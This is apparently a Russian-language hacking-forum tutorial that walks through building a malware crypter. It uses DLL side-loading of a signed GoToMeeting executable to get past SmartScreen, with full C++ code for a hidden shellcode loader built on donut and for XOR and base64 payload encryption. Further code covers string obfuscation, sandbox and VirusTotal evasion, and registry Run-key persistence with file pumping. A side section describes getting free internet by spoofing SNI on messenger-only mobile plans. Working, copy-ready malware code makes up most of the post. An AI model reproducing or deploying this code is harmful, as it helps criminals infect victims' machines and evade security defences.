What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Обходим смартскрин / Пишем свой криптер / +Способ бесплатного интернета

MoilerRenoiler

Midle Weight
Депозит
$0
Автор MoilerRenoiler
Источник https://xss.is


Заголовочек вышел немного кликбейтный, но всё же разберём один из способов обхода смарт скрина и напишем свой простенький криптер запускающий шеллкод. Так как я недавно залудоманил крупную сумму для меня, немного потерял связь с жизнью на несколько недель. Ну и ещё покажу как можно получить бесплатный безлимитный интернет если он у вас есть на мессенджеры по типу телеграмм, а основного трафика не осталось. Первый раз пишу что - то подобное здесь поэтому возможно где нибудь допустил ошибки, или же накосячил с кодом.

Софтина которая нам понадобиться для написания кода и его билда:
  1. Ida Pro with HexRays
  2. Clion / Visual Studio / Блокнотик
  3. Впн если вы с России попытаетесь скачать Clion.
  4. MinGW или другой компилятор
Ida Pro можно скачать и на xss в разделе реверса, поэтому сразу приступим к установке Cliona, использую его т.к у меня Linux и можно использовать сразу несколько компилеров, ну и так же я привык к интерфейсу Idea он более понятный и удобный для меня, но жрёт многовато оперативки, зато нетребователен к вашей видеокарте.
Спойлер: Установка vpnа / прокси + способ бесплатного интернета на тарифах с мессенджерами
На андроид так изрядно и ехидно что-то скачивать как здесь не надо и есть такая программа под названием v2rayng - https://play.google.com/store/apps/details?id=com.v2ray.ang&hl=ru&pli=1 или же гитхаб https://github.com/2dust/v2rayNG/releases.
Заходим в приложение нажимаем кнопку + и импорт из буфера обмена
1719665038695.png


После того как импортировали нажимаете кнопочку редактирования листаете в конец, видите SNI и пишите туда - web.telegram.org / web.whatapp.com и тд и включаете галочку разрешать небезопасные.
1719665141961.png


Далее нажимаем галочку для сохранения и коннектимся большой серой кнопкой с галочкой.
Заходим на официальный гитхаб Qv2Ray https://github.com/Qv2ray/Qv2ray/releases/tag/v2.7.0, качаем exe installer / или portable версию по желанию, в инсталлере тупо скипаем все шаги и пойдёт установка.
1719661561140.png


Качаем v2ray-core с релизов для полноценной работы Qv2Ray https://github.com/v2fly/v2ray-core/releases/tag/v4.31.0
1719662043849.png



Далее заходим в Qv2Ray и идём в Preferences и нас интересуют поля отмеченные крестиками, по дефолту там нечего не будет по этим путям, поэтому создаём папку vcore в папке qv2ray сами, или же распаковываем скачанный архив с vcore куда взадумается и прописываем пути к нему / выбираем кнопочкой Select.
1719661868691.png


Получиться так что в созданной vcore будут файлы с архива
1719662241075.png


После этого всего переходим к поиску бесплатного сервера, например можно взять здесь https://www.vpnjantit.com/ выбираем v2ray vmess / vless по желанию и видим что сервера есть в многих странах. Выбираем любую подходящую вам по скорости и тд.

На примере показываю русский сервер. Вводим рандомный username и вводим капчу, после чего в правом окне получим сгенеренный vmess link.

1719662584426.png


Справа получаем vmess linkm нажимаем copy link
1719662815454.png


Далее идём в Qv2Ray нажимаем кнопку import и в поле Share Link вставляем скопированное, далее увидим появиться ваш сервер и можно просто подключиться 2мя тапами или нажав кнопочку с треугольником.
1719662913028.png


Но это ещё не всё, как же получить бесплатный интернет? -> нажимаем edit as json и видим пункт tlssettings, меняем текст на этот, вместо web.telegram.org можно так же указать whatsapp или другой мессенджер.
"allowInsecure": true,
"fingerprint": "",
"publicKey": "",
"serverName": "web.telegram.org",
"shortId": "",
"show": false,
"spiderX": ""
1719664511962.png


В конце профит с бесплатным интернетом, тот же тариф с мессенджерами ультра дешманский и стоит порядка 100рублей у операторов.
Спойлер: Установка Clion
Заходим на сайт программы и нажимаем кнопку скачать, после чего вас перекинет на другую страницу с выбором системы.
1719660657579.png


Далее видим тип установки и выбираем windows, есть возможность скачать в зипе или под определённую архитектуру, но я выбрал просто нажать скачать exe installer. Если вы с России вам не дадут скачать нормально и придётся качать с впном.
1719660889104.png


Далее скачивается инсталлер, выбираем что вам нужно, допустим я выбрал ярлык на рабочий стол для удобства запуска, можно так же выбрать ассоциации с файлами, но для этого он неочень, блокнотик подходит лучше.
1719665593387.png


Для установки под linux скачиваем tar.gz архив.
1719665282513.png


Далее распаковываем его и получаем картину вида.
1719665726665.png


Для запуска clion идём в папку bin и далем его выполняемым, или же прописываем в терминале chmod +x путькфайлу.
1719665790886.png


Интерфейсы программ на винде и на линуксе не отличаются поэтому установку можно считать завершённой.
Спойлер: Установка компилятора
Заходим на https://github.com/mstorsjo/llvm-mingw идём в релизы.
1719666418561.png


Для винды выбираем компилер без приписок ubuntu и macos с концом x86_x64.
Для линукса выбираем ubuntu x86_x64.
Компилеры и под винду и под линукс особо не чем не отличаются в плане расположения и имён файлов(в винде .exe добавляется). Для того чтобы добавить компилер в Clion надо нажать New Project, т.к у нас DllSideLoad проект выбираем C++ Library и Shared, впрочему это не особо важно потому, что в любой момент это можно изменить в CMakeLists.txt.
1719666847823.png


После того как проект создался идём в File потом в Settings.
1719666944298.png


Далее идём в Build / Execution... Там нас интересует вкладка ToolChains

1719667019564.png


Нажимаем там на плюсик и выбираем System
1719667221479.png


Далее идём к скачанному нами компилятору распаковываем его в какую-нибудь папку.
1719667292974.png


Далее идём опять в Clion и вписываем в поля
C Compiler если хотите билдить 64 битный exe / dll -> путькпапке/bin/x86_64-w64-mingw32-gcc / Если 32 битный путькпапке/bin/i686-w64-mingw32-gcc
C++ Compiler если хотите билдить 64 битный exe / dll -> путькпапке/bin/x86_64-w64-mingw32-g++ / Если 32 битный путькпапке/bin/i686-w64-mingw32-g++

1719667407527.png


Перетаскимваем ваш добавленный компилер в самый вверх если хотите чтобы он использовался по дефолту
1719667486023.png


Компилер настроен. Приступаем к шагу поиска уязвимого exe для наших утех.

Спойлер: Поиск уязвимого exe и написание кода
Немного порывшись на форуме в платном разделе малварей мы можем заметить интересные предложения с криптом, которые обходят смарт скрин и в целом показывают "неплохой рантайм" соверщенно без дллки в которой располагается реальная нагрузка с вирусом. Посмотрев их софт можно увидеть что он написан на Rust, но так же приглядевшись к их результатам скана мы замечаем имя g2m.dll not found или же G2M.exe тут не надо быть экстрасенсом достаточно вбить в гугл g2m.dll и увидим что это приложение GoToMeeting примерно 2 летней давности т.к. сейчас оно стало 64 битным и в целом нету 32 битных релизов. Находим в интернете G2M.exe архитектуры x86 скачивам.

Переходим в сведения и видим что файл подписан и весит порядка 40kb
1719668052844.png


Подпись действительна по сей день и её не отозвали.

1719668111148.png



Итак мы нашли кандидата для нашей задумки, далее заходим в скачанную Ida Pro нажимаем New в окошке, далее перетаскиваем файл и нажимаем OK,
1719668260867.png


Далее после того как мы зашли и файл прогрузился нас интересует вкладочка Imports
1719668361173.png


Как мы видим присутсвуют различные импорты с системы и один единственный с g2m.dll, переходим на него
1719668442843.png


Видим что скорее всего это WinMain с его же 3мя аргументами. Если поискать упоминания в коде увидим как вызывается функция
1719668505199.png


Нажимаем jump to xref для этого sub_xxxx
1719668558829.png



И видим что эта функция является точкой входа приложения. Предполагаем что аргументы как у WinMain или же их попросту нету. Приступаем к написанию кода.
Спойлер: Написание кода малвари
У нас уже есть открытый проект в Clion но мы там не до конца всё закончили, опять заходим в CMakeLists.txt и нам нужно будет добавить флаги компиляции чтобы библиотека нормально функционировала и не нуждалась в других dllках.

Добавляем код в CMakeLists.txt после set
Makefile: Скопировать в буфер обмена
Code:
set(CMAKE_CXX_FLAGS "-w -s -Oz -ffunction-sections -fdata-sections -Wl,--gc-sections -fvisibility=hidden -mavx2 -mbmi2 -DNDEBUG")

set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wno-narrowing")

set(CMAKE_EXE_LINKER_FLAGS "-Wl,--exclude-all-symbols -shared -static-libgcc -static-libstdc++ -Wl,-Bstatic,--whole-archive -lwinpthread -Wl,--no-whole-archive")

1719668942315.png


Так же чтобы каждый раз не переименовывать дллку самим добавляем ещё немного кода после add_library
Вместо DllSideLoad ваше имя из add_library.
Код: Скопировать в буфер обмена
Code:
set_target_properties( DllSideLoad
        PROPERTIES
        OUTPUT_NAME "g2m"
        SUFFIX ".dll")

Итоговый CMakeLists.txt будет следующего вида
1719669083264.png



Далее идём в наш library.cpp файл и сносим всё под чистую. Делаем наш импорт и тестовый MessageBox чтобы проверить работает ли наша затея.

C++: Скопировать в буфер обмена
Code:
#include "windows.h"

extern "C" __declspec(dllexport) __attribute__((visibility("default"))) int g2mcomm_winmain(DWORD, int, DWORD, DWORD, DWORD, DWORD){

return 0;
}

BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved){
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
MessageBoxW(NULL, L"Hello from g2m.dll", L"Entry", MB_ICONEXCLAMATION | MB_OK);
}break;
    }
return TRUE;
}
}

Билдим нажимая молоточек в Clion, на линуксе у вас будет прикол в том что сбилдиться неправильно поэтому там меняем add_library на add_executable
1719670010958.png


Далее после билда закидываем дллку рядом с G2M.exe и видим что она не отторгается как инородный обьект и выполняется наш MessageBox.
1719670075110.png


Давайте напишем простейший выполнитель шеллкода и проверим уже дальше, меня бы он не устроил и я выбрал немного другой путь.
C++: Скопировать в буфер обмена
Code:
PVOID shellcode_exec = VirtualAlloc(0, decrypted_data.length(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
mem_copy(shellcode_exec, decrypted_data.data(), decrypted_data.length());
DWORD threadID;
HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
WaitForSingleObject(hThread, INFINITE);

Для начала сделаем скроем получение PEB(Process Environment Block), по дефолту это __readfsdword(0x30);
Но я хочу скрыть это получение и чтобы не было видно что оно существует, как можно это сделать?
C++: Скопировать в буфер обмена
Code:
long addr(){

    return 0x30 * 14;
}
void execute()
{

    long read = addr() / 14;
    PPEB pPEB = (PPEB)__readfsdword(read);
Далее получаю библиотеку kernel32.dll в которой лежат наши функции без GetModuleHandle и LoadLibrary используя LDR_DATA_TABLE_ENTRY и адрес GetProcAdress, особого смысла это не несёт но всё же, т.к мы ищем в списке экспортированных функций.

Так же для скрытия использования memcpy из других библиотек будем испольховать макрос:
C++: Скопировать в буфер обмена
Code:
# define memcpy(D,S,N) {char*xxd=(char*)(D);const char*xxs=(const char*)(S);\
                        int xxn=(N);while(xxn-->0)*(xxd++)=*(xxs++);}

Тестовый шеллкод я зделаю при помощи бублика -> https://github.com/TheWover/donut предварительно рекомпилировав его. Запускаем бублик и видим его аргументы.
1719671125436.png


Нас интересуют -a - выбор архитектуры 1 - x32, 2 - x64, и компрессия -z 2 - аплибом т.к я на линуксе на винде же больше методов, я могу использовать и бублик для винды с помощью wine. Флаг -e по дефолту нас устраивает, -i - input ваш файл, -o output конечный файл., -f тип конечного файла - 3 для нашего выбранного C подобного языка .

И получается что ./donut -a 1 -z 2 -f 3 -i exe -o shellcode. На выходе получим .h файл с шелкодом.
1719671526884.png


Импортим этот файл #include "имя". Получаем следующий конечный код по итогу.
C++: Скопировать в буфер обмена
Code:
#include <winternl.h>
#include "windows.h"
#include "library.h"

void execute();

extern "C" __declspec(dllexport) __attribute__((visibility("default"))) int g2mcomm_winmain(DWORD, int, DWORD, DWORD, DWORD, DWORD){
 
return 0;
}
# define memcpy(D,S,N) {char*xxd=(char*)(D);const char*xxs=(const char*)(S);\
int xxn=(N);while(xxn-->0)*(xxd++)=*(xxs++);}


typedef HMODULE(WINAPI *PGetModuleHandleA)(PCSTR);
typedef FARPROC(WINAPI *PGetProcAddress)(HMODULE, PCSTR);

typedef PVOID(WINAPI *PVirtualAlloc)(PVOID, SIZE_T, DWORD, DWORD);
typedef PVOID(WINAPI *PCreateThread)(PSECURITY_ATTRIBUTES, SIZE_T, PTHREAD_START_ROUTINE, PVOID, DWORD, PDWORD);
typedef PVOID(WINAPI *PWaitForSingleObject)(HANDLE, DWORD);
typedef LPVOID(WINAPI *PVirtualAllocEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef HANDLE(WINAPI *PGetCurrentProcess)(VOID);
typedef WINBOOL(WINAPI *PWriteProcessMemory)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
long addr(){

return 0x30 * 14;
}

void execute()
{
long read = addr() / 14;
PPEB pPEB = (PPEB)__readfsdword(read);

PPEB_LDR_DATA pLoaderData = pPEB->Ldr;

PLIST_ENTRY listHead = &pLoaderData->InMemoryOrderModuleList;

PLIST_ENTRY listCurrent = listHead->Flink;

PVOID kernel32Address;
do
    {
PLDR_DATA_TABLE_ENTRY dllEntry = CONTAINING_RECORD(listCurrent, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

DWORD dllNameLength = WideCharToMultiByte(CP_ACP, 0, dllEntry->FullDllName.Buffer, dllEntry->FullDllName.Length, NULL, 0, NULL, NULL);

PCHAR dllName = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllNameLength);

WideCharToMultiByte(CP_ACP, 0, dllEntry->FullDllName.Buffer, dllEntry->FullDllName.Length, dllName, dllNameLength, NULL, NULL);

        CharUpperA(dllName);

if (strstr(dllName, "KERNEL32.DLL"))
        {
kernel32Address = dllEntry->DllBase;

HeapFree(GetProcessHeap(), 0, dllName);

break;
        }
HeapFree(GetProcessHeap(), 0, dllName);

listCurrent = listCurrent->Flink;

} while (listCurrent != listHead);

PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)kernel32Address;

PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)kernel32Address + pDosHeader->e_lfanew);

PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&(pNtHeader->OptionalHeader);

PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)kernel32Address + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

PULONG pAddressOfFunctions = (PULONG)((PBYTE)kernel32Address + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)kernel32Address + pExportDirectory->AddressOfNames);

PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)kernel32Address + pExportDirectory->AddressOfNameOrdinals);


PGetModuleHandleA pGetModuleHandleA = NULL;

PGetProcAddress pGetProcAddress = NULL;


for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
    {
PCSTR pFunctionName = (PSTR)((PBYTE)kernel32Address + pAddressOfNames[i]);
if (!strcmp(pFunctionName, "GetModuleHandleA"))
        {
pGetModuleHandleA = (PGetModuleHandleA)((PBYTE)kernel32Address + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);

        }
if (!strcmp(pFunctionName, "GetProcAddress"))
        {
pGetProcAddress = (PGetProcAddress)((PBYTE)kernel32Address + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);

        }
    }
HMODULE hKernel32 = pGetModuleHandleA("kernel32.dll");

PVirtualAllocEx funcVirtualAllocEx = (PVirtualAllocEx)pGetProcAddress(hKernel32, "VirtualAllocEx");

PGetCurrentProcess funcGetCurrentProcess = (PGetCurrentProcess)pGetProcAddress(hKernel32, "GetCurrentProcess");

PWriteProcessMemory funcWriteProcessMemory = (PWriteProcessMemory)pGetProcAddress(hKernel32, "WriteProcessMemory");

void* Process = funcGetCurrentProcess();
PVOID allocatedMem = funcVirtualAllocEx(Process,0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(allocatedMem == nullptr){
exit(EXIT_FAILURE);
    }
SIZE_T bytes;
funcWriteProcessMemory(Process, allocatedMem, (LPCVOID)&buf, sizeof(buf), &bytes);
((void(*)())allocatedMem)();
ExitProcess(0);
}

BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved){
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
MessageBoxW(NULL, L"Hello from g2m.dll", L"Entry", MB_ICONEXCLAMATION | MB_OK);
            execute();
}break;
    }
return TRUE;
}
Как мы видим и можем наблюдать наш шеллкод успешно отработал и запустил наш пейлоад.
1719675193621.png


Следующими шагами мы будем добавлять обфускацию строк и засерания кода мусором.
Для шифрования строк в CompileTime мы будем использовать репозиторий https://github.com/adamyaxley/Obfuscate.
Копируем код с obfuscate.h или скачиваем его и кидаем к нам в проект, дальше #include "obfuscate.h"
Для обфускции строки достаточно будет написать AY_OBFUSCATE и поместить туда нашу строку.
1719675515858.png


Давайте же посмотрим теперь как стал выглядеть код в декомпиляторе. В качестве примера сделаю после и до.

1719676530386.png


Как мы видим добавилась проста туча мусорного кода в те места где было пусто и код растянулся почти в 5 раз.
1719676581925.png



Для шифра самого же шеллкода можно сделать простейший xor метод, в качестве ключа будет выступать Integer значение, а так же немного запутаем код добавив rand(), код будет универсальным как для дешифровки так и шифровки, в теории можно ещё прикрутить компрессию, но она у нас имеется уже в бублике и прекрасно работает.
C++: Скопировать в буфер обмена
Code:
std::string EncryptDecrypt(const std::string& input, int key) { 
    std::string output = input;
    char a;
    key = rand() % 99;
    for(size_t i = 0; i < input.length(); ++i) {
        a = input[i];
        int b = static_cast<int>(a);
        b ^= key;
        a = static_cast<char>(b);
        output[i] = a;
    }
    return output;
}

Давайте теперь создадим программу под этот код чтобы шифровать полученный нами шеллкод.

Для этого добавляем в CMakeLists.txt несколько новых строчек чтобы компилировать новоиспеченный энкриптер в .exe

Код: Скопировать в буфер обмена
Code:
set(CMAKE_EXE_LINKER_FLAGS "-Wl,--exclude-all-symbols -static -municode")

add_executable(Encrypter encrypter.cpp)

И пишем код для шифрования файлика, для начала почему мы добавили флаг -municode? потому что если юзер араб то у него будут далеко не анси строки и по просту не будет работать приложение и нужна будет папка с латинскими буквами C:/latin.
C++: Скопировать в буфер обмена
Code:
#include <fstream>

#include <string>

#include <random>

#include <iostream>

#include "library.h"

#include "base64.h"



using namespace std;

std::string read_file_str(std::wstring path) {

std::wifstream wfile = std::wifstream(path.c_str(), std::ios_base::binary | std::ios_base::ate);

std::wstring file_data(wfile.tellg(), '\0');

wfile.seekg(0);

wfile.read((wchar_t *)file_data.data(), file_data.length());

std::string data_ansi = {file_data.begin(),file_data.end()};

return data_ansi;

}


bool write_to_file(const std::wstring& file_name, std::string data) {

std::wofstream output_file = std::wofstream(file_name.c_str(), std::ofstream::binary);


if (!output_file.good()) {

return false;

    }

std::wstring data_unicode = {data.begin(),data.end()};

    output_file.write(data_unicode.c_str(), data_unicode.length());

    output_file.close();


return true;

}


int wmain(int argc, wchar_t* argv[]) {

if(argc < 3){

printf("\nInvalid arguments: count\nUsage: exe,out\nv");

system("PAUSE");

return 0;

    }


string file = read_file_str(argv[1]);

file = EncryptDecrypt(file,default_key);

file = base64_encode(file);

write_to_file(argv[2],file);

system("pause");

}
В коде мы читаем 2 первых аргумента input, output и дальше просто получаем текст с файла в std::string и впоследствии его шифруем, и записываем с помощью wostream и конвертации std:;string в std::wstring, тоесть из короткой строки в широкую юникодную.
Обновлённый library.h, туда я поместил default_key и метод шифования пейлоада.
C++: Скопировать в буфер обмена
Code:
int default_key = 12345;
std::string EncryptDecrypt(const std::string& input, int key) {
    std::string output = input;
    char a;
    key = rand() % 99;
    for(size_t i = 0; i < input.length(); ++i) {
        a = input[i];
        int b = static_cast<int>(a);
        b ^= key;
        a = static_cast<char>(b);
        output[i] = a;
    }
    return output;
}
Далее я добавил base64.h чтобы файл корректно записывался на диск потому что мы ломали полностью wstring, и даже windowsвскую файловую библиотеку, она попросту читала неправильную длинну.
C++: Скопировать в буфер обмена
Code:
static const std::string base64_chars =
        "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        "abcdefghijklmnopqrstuvwxyz"
        "0123456789+/";

static inline bool is_base64(unsigned char c) {
    return (isalnum(c) || (c == '+') || (c == '/'));
}

inline std::string base64_encode(const std::string &bytes) {
    auto bytes_to_encode = reinterpret_cast<unsigned char const *>(&bytes[0]);
    unsigned int in_len = bytes.size();
    std::string ret;
    int i = 0;
    int j = 0;
    unsigned char char_array_3[3];
    unsigned char char_array_4[4];

    while (in_len--) {
        char_array_3[i++] = *(bytes_to_encode++);
        if (i == 3) {
            char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
            char_array_4[1] =
                    ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
            char_array_4[2] =
                    ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
            char_array_4[3] = char_array_3[2] & 0x3f;

            for (i = 0; (i < 4); i++)
                ret += base64_chars[char_array_4[i]];
            i = 0;
        }
    }

    if (i) {
        for (j = i; j < 3; j++)
            char_array_3[j] = '\0';

        char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
        char_array_4[1] =
                ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
        char_array_4[2] =
                ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
        char_array_4[3] = char_array_3[2] & 0x3f;

        for (j = 0; (j < i + 1); j++)
            ret += base64_chars[char_array_4[j]];

        while ((i++ < 3))
            ret += '=';
    }

    return ret;
}

inline std::string base64_decode(std::string const &encoded_string) {
    int in_len = encoded_string.size();
    int i = 0;
    int j = 0;
    int in_ = 0;
    unsigned char char_array_4[4], char_array_3[3];
    std::string ret;

    while (in_len-- && (encoded_string[in_] != '=') &&
           is_base64(encoded_string[in_])) {
        char_array_4[i++] = encoded_string[in_];
        in_++;
        if (i == 4) {
            for (i = 0; i < 4; i++)
                char_array_4[i] = base64_chars.find(char_array_4[i]);

            char_array_3[0] =
                    (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
            char_array_3[1] =
                    ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
            char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

            for (i = 0; (i < 3); i++)
                ret += char_array_3[i];
            i = 0;
        }
    }

    if (i) {
        for (j = i; j < 4; j++)
            char_array_4[j] = 0;

        for (j = 0; j < 4; j++)
            char_array_4[j] = base64_chars.find(char_array_4[j]);

        char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
        char_array_3[1] =
                ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
        char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

        for (j = 0; (j < i - 1); j++)
            ret += char_array_3[j];
    }

    return ret;
}
Теперь в том же donut выполняем ту же самую команду только убираем аргумент -f, чтобы генерился bin файл шеллкода.
1719677375708.png


Далее используем наш скомпиленный Encrypter.exe
1719677459494.png


Файл сохранился в ваш путь далее идём в любой hex редактор например HxD на винде, для линукса Okteta. Там выбираем Правка -> Копировать как Массив C, в HxD примерно такой же алгоритм.

Создаём новый файл payload.h инклудаем его и base64.h в library.cpp
Код: Скопировать в буфер обмена
Code:
#include "base64.h"
#include "payload.h"
Далее чуть чуть изменяем код в library.cpp для лоада шифрованного пейлоада, добавляем base64_decode и дешифровку + немного меняем код где виртуал алоки.
C++: Скопировать в буфер обмена
Code:
void* Process = funcGetCurrentProcess();
std::string base_dec = base64_decode(buffer);
std::string buffer_dec = EncryptDecrypt(base_dec,default_key);
PVOID allocatedMem = funcVirtualAllocEx(Process,0, buffer_dec.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(allocatedMem == nullptr){
MessageBoxW(NULL, L"Hello from g2m.dll", L"Entry", MB_ICONEXCLAMATION | MB_OK);
exit(EXIT_FAILURE);
}
SIZE_T bytes;
funcWriteProcessMemory(Process, allocatedMem, buffer_dec.c_str(), buffer_dec.size(), &bytes);
((void(*)())allocatedMem)();
ExitProcess(0);
Вот если честно на этом моменте я больше всего устал и фиксил примерно полчаса свой затуп но по итогу код исполняется и работает.
1719680934289.png


Спойлер: Предохраняемся от вирустотала простыми трюками
Всех наверное закалёбывают боты с вирустотала которые вечно стучат на файл, или другие конченные AnyRun машины и другая подобная херь, решил показать как можно предохраниться от половины если у вас Dllка, но можно будет юзать и в exe думаю. Добавляю опять же call на GetUserNameA, создаю typedef.
C++: Скопировать в буфер обмена
Code:
typedef WINBOOL(WINAPI *PGetUserNameA)(LPSTR lpBuffer, LPDWORD pcbBuffer);
PGetUserNameA funcGetUserNameA;

bool CheckUserNames() {
    char *sUsers[] = {(char *) AY_OBFUSCATE("UserName"),
                      (char *) AY_OBFUSCATE("user"),
                      (char *) AY_OBFUSCATE("sandbox"), (char *) AY_OBFUSCATE("honey"), (char *) AY_OBFUSCATE("vmware"),
                      (char *) AY_OBFUSCATE("currentuser"), (char *) AY_OBFUSCATE("nepenthes"),
                      (char *) AY_OBFUSCATE("andy"),
                      (char *) AY_OBFUSCATE("CurrentUser"), (char *) AY_OBFUSCATE("HAL9TH"),
                      (char *) AY_OBFUSCATE("JohnDoe")};

    char szBuffer[30];
    unsigned long lSize = sizeof(szBuffer);

    if (funcGetUserNameA(szBuffer, &lSize) == 0) {
        return (1);
    }

    for (int i = 0; i < (sizeof(sUsers) / sizeof(char *)); i++) {
        if (strstr(szBuffer, sUsers[i])) {
            return 1;
        }
    }
    return 0;
}
Так как данная функция находиться в ADVAPI32 нам нужно будет загрузить её через LoadLibrary
C++: Скопировать в буфер обмена
Code:
typedef HMODULE(WINAPI *PLoadLibraryA)(LPCSTR lpLibFileName);
PLoadLibraryA funcLoadLibraryA = (PLoadLibraryA)pGetProcAddress(hKernel32, AY_OBFUSCATE("LoadLibraryA"));
funcGetUserNameA = (PGetUserNameA)pGetProcAddress(funcLoadLibraryA(AY_OBFUSCATE("ADVAPI32.dll")), AY_OBFUSCATE("GetUserNameA"));

Примерно таким образом мы добавляем функцию в нашу дллку, теперь как же ещё можно предостеречься, если посмотреть на зенбокс то он всегда грузит вашу дллку через rundll32, соответственно мы можем просто исключить чтобы наша дллка была загружена в программах с системной папки или по другому, но это немного туповато но в целом код выглядел бы так.
C++: Скопировать в буфер обмена
Code:
bool contains(const std::wstring& one, const std::wstring& two) {
    return one.find(two)!= std::wstring::npos;
}

void Check(){
wchar_t CurrentFilePath[1024];
GetModuleFileNameW(0, CurrentFilePath, 1024);
if(contains(CurrentFilePath,L"rundll")){
exit(EXIT_FAILURE);
}
}
Спойлер: Добавление автозагрузки
Допустим у вас закриптована ратка или другая программа как же сделать автозагрузку? В целом можно тупо добавить файл из директории темп и дело сделано, но есть и другие пути автозагрузки.
Первое давайте создадим собственнный пампер код на плюсах, да будет максимально не оптимизированным и ему нужно будет время чтобы запампить файл, но всё же, код тупо добавляет пробел и записывает его в конец файла в цикле который считает сколько мегабайт мы добавили.
C++: Скопировать в буфер обмена
Code:
std::wstring Pump(const std::wstring& asmPath, int mb) {
    std::wofstream fileStream(asmPath, std::ios::binary | std::ios::app);

    long fileSizeInBytes = static_cast<long>(mb * 1024 * 1024); // 1MB = 1024 * 1024 bytes

    fileStream.seekp(0, std::ios_base::end);
    long currentPosition = fileStream.tellp();

    long bytesToAdd = fileSizeInBytes - currentPosition;

    while (bytesToAdd > 0) {
        const wchar_t space = L' ';
        fileStream.write(&space, 1);
        bytesToAdd--;
    }

    fileStream.close();

    return asmPath;
}
Далее давайте сделаем простейшую автозагрузку с копированием файлов в директорию юзера и пампом дллки на 100мб.
Для начала создадим метод для конвертации cStr в wStr.
C++: Скопировать в буфер обмена
Code:
std::wstring strWide(const char* cStr) {
    std::string str = cStr;
    std::wstring wideStr(str.begin(), str.end());
    return wideStr;
}
}
Пишем код автозагрузки выйдет примерно так, в нём мы предварительно удаляем dll если нету исполняемого и записываем туда наш новый файл, и потом проверяем есть ли exe по данному пути чтобы множество раз не обновлять,
C++: Скопировать в буфер обмена
Code:
bool exists(const std::wstring& path) {
return std::filesystem::exists(path);
}
void EnableAutoRun() {
HKEY hkey;
wchar_t CurrentFilePath[1024];
GetModuleFileNameW(0, CurrentFilePath, 1024);
std::filesystem::path CurrentExe = CurrentFilePath;
wchar_t my_documents[MAX_PATH];
SHGetFolderPathW(NULL, CSIDL_PROFILE, NULL, SHGFP_TYPE_CURRENT, my_documents);
std::filesystem::path documents = my_documents;
std::wstring appPath = CurrentExe.filename();
std::wstring dllPath = strWide(AY_OBFUSCATE("g2m.dll"));
std::wstring updaterDLL = documents / dllPath;
std::wstring updaterEXE = documents / appPath;
if(!exists(updaterEXE)){
        _wremove(updaterDLL.c_str());
std::filesystem::copy_file(dllPath, updaterDLL);
std::filesystem::copy_file(appPath, updaterEXE);
RegCreateKeyExW(HKEY_CURRENT_USER,
strWide(AY_OBFUSCATE("Software\\Microsoft\\Windows\\CurrentVersion\\Run")).c_str(), 0, NULL, 0,
KEY_WRITE, NULL, &hkey, NULL);
RegSetValueExW(hkey, NULL, 0, REG_SZ, (unsigned char *) updaterEXE.c_str(), MAX_PATH);
Pump(updaterDLL, 100);
    }
}
Проверяем наш код перезагрузкой системы и отрабатывает он неплохо.
1719686353042.png


Но так же есть ещё другие способы автозагрузки например -> rundll32.exe path,Entry в реестре автозагрузки вместо нашего пути к исполняемому файлу.

